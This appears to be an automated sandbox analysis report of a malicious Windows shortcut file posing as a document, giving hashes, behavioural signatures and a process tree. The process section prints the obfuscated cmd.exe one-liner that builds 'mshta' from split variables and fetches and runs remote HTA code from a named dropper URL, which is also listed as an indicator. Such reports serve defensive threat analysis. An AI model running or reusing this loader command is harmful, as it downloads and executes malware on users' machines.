Analysis
- max time kernel
148s - max time network
138s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:53
Static task
static1
Behavioral task
behavioral1
Sample
DOC-J4IOYB.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-J4IOYB.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-J4IOYB.lnk
- Size 1KB
- Sample260803-p4ppdsbl9x
- SHA256 6c08fe3c54172dfd363752b86e5ed824e70ffaf0a129ee093b218f6ac148bf12
- MD5 515cdbf915a99dbd741d4672e67f4124
- SHA1 e72fc9fde8faf2250bcf8ff35db01ec9a96adcda
- SHA512 4004793e9a698a7cabe6a9b14a12c0cd7eb0f5be77d5ff54d9927874c446a5b4f1479d96cda23ed24e41f3046d4ce2a076ba9b58aa50a9244070e50685fe334f
- TLSH T1D13176503FFD0A24F3F79E7784BB5B1089BBB8669E21C61E0141464D1032A15E17AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 916 cmd.exe 3456 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 916 wrote to memory of 3456 916 cmd.exe 90 PID 3456 wrote to memory of 6028 3456 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-J4IOYB.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:916 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set Rtu=msh&&set ZOW=ta&&start "" !Rtu!!ZOW! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:6028
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